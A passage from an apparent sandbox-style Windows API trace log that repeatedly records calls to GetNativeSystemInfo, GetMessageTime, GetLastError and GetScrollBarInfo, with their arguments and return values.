lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.946] GetMessageTime () returned 0 [0056.946] GetLastError () returned 0x578 [0056.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.947] GetMessageTime () returned 0 [0056.947] GetLastError () returned 0x578 [0056.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.948] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.948] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.948] GetMessageTime () returned 0 [0056.948] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.949] GetMessageTime () returned 0 [0056.949] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.949] GetMessageTime () returned 0 [0056.949] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.949] GetMessageTime () returned 0 [0056.949] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.949] GetMessageTime () returned 0 [0056.949] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.949] GetMessageTime () returned 0 [0056.949] GetLastError () returned 0x578 [0056.949] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.949] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.950] GetMessageTime () returned 0 [0056.950] GetLastError () returned 0x578 [0056.950] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.950] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.951] GetMessageTime () returned 0 [0056.951] GetLastError () returned 0x578 [0056.951] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.951] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.952] GetMessageTime () returned 0 [0056.952] GetLastError () returned 0x578 [0056.952] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.952] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.953] GetMessageTime () returned 0 [0056.953] GetLastError () returned 0x578 [0056.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.953] GetMessageTime () returned 0 [0056.953] GetLastError () returned 0x578 [0056.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.953] GetMessageTime () returned 0 [0056.953] GetLastError () returned 0x578 [0056.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.953] GetMessageTime () returned 0 [0056.953] GetLastError () returned 0x578 [0056.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.953] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.953] GetMessageTime () returned 0 [0056.953] GetLastError () returned 0x578 [0056.953] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.954] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, 